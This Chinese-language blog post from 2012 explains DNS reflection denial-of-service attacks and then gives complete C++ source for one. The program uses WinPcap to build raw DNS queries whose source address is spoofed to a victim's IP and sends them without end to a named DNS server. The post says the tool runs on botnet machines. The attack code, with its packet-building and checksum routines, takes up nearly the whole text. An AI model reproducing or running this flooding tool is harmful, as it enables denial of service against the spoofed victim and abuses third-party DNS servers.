DNS反射攻击

DNS反射攻击利用DNS协议的安全漏洞进行的攻击的拒绝访问攻击方式,攻击者利用僵尸网络向DNS服务器发送DNS请求,并将请求数据包的源地址设置为受害者。原理简单,但效果明显。

首先,在僵尸机上需要安装wpcap,用于发送携带虚拟源地址IP数据包。

然后,构造攻击数据包。

 

简单的实现方式如下:

封装wpcap为MPcap类

View Code
#pragma once
#include <vector>
using namespace std;
#include <pcap.h>

typedef struct
{
    string name, desc, addrs;
}Device, *PDevice;

class MPcap
{
    pcap_t *dev;
    vector<PDevice> pdevs;
public:
    MPcap(void);
    virtual ~MPcap(void);
    int ReadDevices(char *errbuf);
    vector<PDevice> GetDevices(){return pdevs;}
    int Open(const char *dname, char* errbuff);
    int Send(void* pkt, int len, char* errbuff);
};
View Code
#include "StdAfx.h"
#include "MPcap.h"
#include "defs.h"

#include <pcap.h>
#include <WinSock2.h>


#define DeviceDesc(desc, buff) do{ \
    strncpy(buff, strchr(desc, '\'') + 1, strrchr(desc, '\'') - strchr(desc, '\'') - 1); \
    buff[strrchr(desc, '\'') - strchr(desc, '\'') - 1] = 0;\
    }while(0)

#define DeviceName(name, buff) do{ \
    strcpy(buff, strchr(name, '\\')); \
    }while(0)

MPcap::MPcap(void)
{
}


MPcap::~MPcap(void)
{
    while(!pdevs.empty()){
        PDevice pdev = pdevs.back();
        delete pdev;
        pdevs.pop_back();
    }
}


int MPcap::ReadDevices(char *errbuf)
{    
    /*1. 获得设备链表*/
    pcap_if_t *alldevs;
    if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf))
    {
        return -1;
    }

    for(pcap_if_t* d=alldevs; d; d=d->next)
    {
        char buff[256];
        PDevice pdev = new Device;
        DeviceName(d->name, buff);
        pdev->name = buff;
        DeviceDesc(d->description, buff);
        pdev->desc = buff;
        pdev->addrs = "";
        
        for(pcap_addr_t *paddr = d->addresses; paddr; paddr = paddr->next){
            switch(paddr->addr->sa_family)
            {
            case AF_INET:
                if (paddr->addr){
                    pdev->addrs += hntoa(((struct sockaddr_in *)paddr->addr)->sin_addr.s_addr);
                    pdev->addrs += "; ";
                }

                break;
            default:
                break;
            }
        }

        pdevs.push_back(pdev);
    }

    /*释放设备链表所占据的空间*/
    pcap_freealldevs(alldevs);

    return 0;
}

int MPcap::Open(const char *dname, char* errbuff)
{
    dev = pcap_open(dname, 65535, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuff);
    if(NULL == dev)
    {
        return -1;
    }

    return 0;
}


int MPcap::Send(void* pkt, int len, char* errbuff)
{
    if (pcap_sendpacket(dev, (unsigned char*)pkt, len /* size */) != 0)
    {
        sprintf(errbuff,"\nError sending the packet: %s\n", pcap_geterr(dev));
        return -1;
    }

    return 0;
}

在main.cpp中实现攻击过程

View Code
// DoSReflect.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <pcap.h>

#include "dataframes.h"
#include "MPcap.h"
#include <iostream>
using namespace std;

unsigned short CheckSum(void *buffer, int size)
{
    unsigned long cksum = 0;
    unsigned short *chkbuff = (unsigned short *)buffer;

    while(size > 1)
    {
        cksum += *chkbuff++;
        size -= sizeof(unsigned short);
    }
    
    if(size)    
    {
        cksum += *(unsigned char *)chkbuff;
    }
    
    while (cksum>>16)
    {
        cksum = (cksum>>16) + (cksum & 0xffff);
    }

    return (unsigned short) (~cksum);
}

int PacketSum(void *packet)
{
    PDNS_t dns = (PDNS_t)packet;

    dns->IPHdr.Checksum = CheckSum(&dns->IPHdr, sizeof(IPHeader_t));

    Psd_Header psd; 
    
    int dlen = ntohs(dns->IPHdr.TotalLen) - sizeof(IPHeader_t);

    psd.destip = dns->IPHdr.DstIP;
    psd.sourceip = dns->IPHdr.SrcIP;
    psd.mbz = 0;
    psd.ptcl = dns->IPHdr.Protocol;
    psd.len = htons(dlen);    

    unsigned short scsum = ~CheckSum(&dns->UDPHdr, dlen);
    unsigned long cs = scsum;

    cs <<= 16;
    scsum = ~CheckSum(&psd, sizeof(Psd_Header));
    cs += scsum;

    dns->UDPHdr.Checksum = CheckSum(&cs, 4);    
    

    return 0;
}

char* NameToString(const char *dname, char *str)
{
    char *p = str;
    int di = 0, si = 1, cnt;
    while(dname[di] != 0){
        cnt = 0;
        while(dname[di] != 0 && dname[di] != '.'){
            str[si++] = dname[di++];
            cnt++;
        }

        *p = cnt;
        if(!dname[di]){
            str[si++] = 0;
            break;
        }
        p = str + si++;
        di++;
    }

    return str + si;
}

int FormatDNS(PDNS_t dns, unsigned int sip, unsigned int dip, const char *dname)
{
    /*DNS*/
    dns->DNSHdr.id = 0xd17d;
    dns->DNSHdr.flags = 0x01;
    dns->DNSHdr.questions = 0x0100;
    dns->DNSHdr.answers = 0;
    dns->DNSHdr.author = 0;
    dns->DNSHdr.addition = 0;

    char *buff = NameToString(dname, dns->Query);
    
    *buff = 0;
    buff++;
    *buff = 1;

    buff++;
    *buff = 0;
    buff++;
    *buff = 1;

    int len = buff - dns->Query + 1 + sizeof(DNSHeader_t) + sizeof(UDPHeader_t);
    
    /*UDP层*/
    dns->UDPHdr.Checksum = 0;
    dns->UDPHdr.DPort = htons(53);
    dns->UDPHdr.SPort = htons(22244);
    dns->UDPHdr.Tlen = htons(len);
    
    len += sizeof(IPHeader_t);
    /*IP层*/
    dns->IPHdr.Ver_HLen = 0x45;
    dns->IPHdr.TOS = 0;
    dns->IPHdr.TotalLen = htons(len);
    dns->IPHdr.ID = 0x73c7;
    dns->IPHdr.Flag_Segment = 0;
    dns->IPHdr.TTL = 0x80;
    dns->IPHdr.Protocol = 0x11;
    dns->IPHdr.Checksum = 0;
    dns->IPHdr.SrcIP = sip;
    dns->IPHdr.DstIP = dip;

    /*物理层*/
    unsigned char dmac[] = {0x00,0x09,0x0f,0xa3,0x65,0x74};
    memcpy(dns->FrameHdr.DesMAC, dmac, 6);
    unsigned char smac[] = {0x00,0x24,0xe8,0x41,0xdc,0x30};
    memcpy(dns->FrameHdr.SrcMAC, smac, 6);
    dns->FrameHdr.FrameType = 8;

    PacketSum(dns);

    return len + sizeof(FrameHeader_t);
}

int _tmain(int argc, _TCHAR* argv[])
{
    MPcap cap;
    char errbuf[PCAP_ERRBUF_SIZE];

    cout<<"获取网络设备:"<<endl;
    if(-1 == cap.ReadDevices(errbuf)){
        cout<<errbuf<<endl;
    }

    vector<PDevice> pdevs = cap.GetDevices();
    int cnt = 0;
    for(vector<PDevice>::iterator it = pdevs.begin(); it != pdevs.end(); it++){
        cout<<'\t'<<++cnt<<". "<<((PDevice)*it)->name.c_str()<<endl;        
        cout<<"\t\t"<<((PDevice)*it)->desc.c_str()<<endl;
        cout<<"\t\t"<<((PDevice)*it)->addrs.c_str()<<endl<<endl;
    }
    if(0 == cnt){
        cout<<"没有找到合适的网络设备,请重新安装网卡驱动!"<<endl;
        return -1;
    }

    int index = 0;
    do{
        cout<<"选择一个设备(1-"<<cnt<<"|0-退出):";
        cin>>index;
    }while(index<=0 || index>cnt);
    if(0 == index) return 0;

    int result = cap.Open(pdevs[index-1]->name.c_str(), errbuf);
    if(-1 == result){
        cout<<errbuf<<endl;
        return -1;
    }
    cout<<"\t绑定设备:"<<pdevs[index-1]->desc.c_str()<<endl;

    DNS_t dns;
    int len;
    len = FormatDNS(&dns, inet_addr("12.12.12.68"), inet_addr("202.113.16.10"), "www.qq.com");
    cout<<"\t构造DNS数据报文: "<<len<<" 字节"<<endl;

    while(1){
        if(-1 == cap.Send(&dns, len, errbuf)){
            cout<<errbuf<<endl;
            return -1;
        }
    }

    cout<<"\t发送反射攻击数据包"<<endl;

    system("pause");

    return 0;
}

定义数据包结构体

View Code
#if !defined(__FRAME_H__)
#define __FRAME_H__

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#pragma pack(1)

typedef struct 
{
    unsigned char DesMAC[6];
    unsigned char SrcMAC[6];
    unsigned short FrameType;

}FrameHeader_t;

typedef struct 
{       
    FrameHeader_t FrameHeadert;
    unsigned short HardwareType;
    unsigned short ProtocolType;
    unsigned char Hlen;
    unsigned char Plen;
    unsigned short Operation;
    unsigned char SendHa[6];
    unsigned long SendIP;
    unsigned char RecvHa[6];
    unsigned long RecvIP;

}ARPFrame_t ;

typedef struct  
{
    unsigned char Ver_HLen;        // 4500
    unsigned char TOS;            // 
    unsigned short TotalLen;        // 0020
    unsigned short ID;            // 0000
    unsigned short Flag_Segment;    // 4000
    unsigned char TTL;            // 4011
    unsigned char Protocol;        // 
    unsigned short Checksum;        // 0000
    unsigned long SrcIP;        // 0c0c0c28
    unsigned long DstIP;        // 0c0c0cfc

}IPHeader_t;

typedef struct
{
    unsigned short SPort;
    unsigned short DPort;
    unsigned short Tlen;
    unsigned short Checksum;

}UDPHeader_t;

typedef struct 
{
    unsigned short SPort;
    unsigned short DPort;
    unsigned long Seq;
    unsigned long Ack;
    unsigned short Len;
    unsigned short Size;
    unsigned short Checksum;
    unsigned short Merg;

}TCPHeader_t;

typedef struct 
{
    FrameHeader_t *FrameHeader;
    IPHeader_t *IPHeader;
}Data_t;

typedef struct 
{
    FrameHeader_t *FrameHeader;
    IPHeader_t *IPHeader;
    TCPHeader_t *TCPHeader;
    void *data;

}TCP_t;

typedef struct 
{
    FrameHeader_t *FrameHeader;
    IPHeader_t *IPHeader;
    UDPHeader_t *UDPHeader;
    void *data;

}UDP_t;

typedef struct         // UDP 伪数据包头
{  
    unsigned long  sourceip;        //源IP地址
    unsigned long  destip;            //目的IP地址
    unsigned char  mbz;                //置空(0)
    unsigned char  ptcl;                //协议类型(IPPROTO_UDP)
    unsigned short len;                //UDP包总长度(单位:字节)  

}Psd_Header; 

/*DNS数据报头*/
typedef struct {
    unsigned short id; //标识,通过它客户端可以将DNS的请求与应答相匹配;
    unsigned short flags; //标志:(查询)0x0100 (应答)0x8180  这些数字都是主机序
    unsigned short questions; //问题数目
    unsigned short answers; //资源记录数目
    unsigned short author; //授权资源记录数目
    unsigned short addition; //额外资源记录数目
}DNSHeader_t;

typedef struct
{
    FrameHeader_t FrameHdr;
    IPHeader_t IPHdr;
    UDPHeader_t UDPHdr;
    DNSHeader_t DNSHdr;
    char Query[256];
}DNS_t, *PDNS_t;

#pragma pack()

#endif
posted @ 2012-05-23 09:18  kenail  阅读(4414)  评论(1编辑  收藏  举报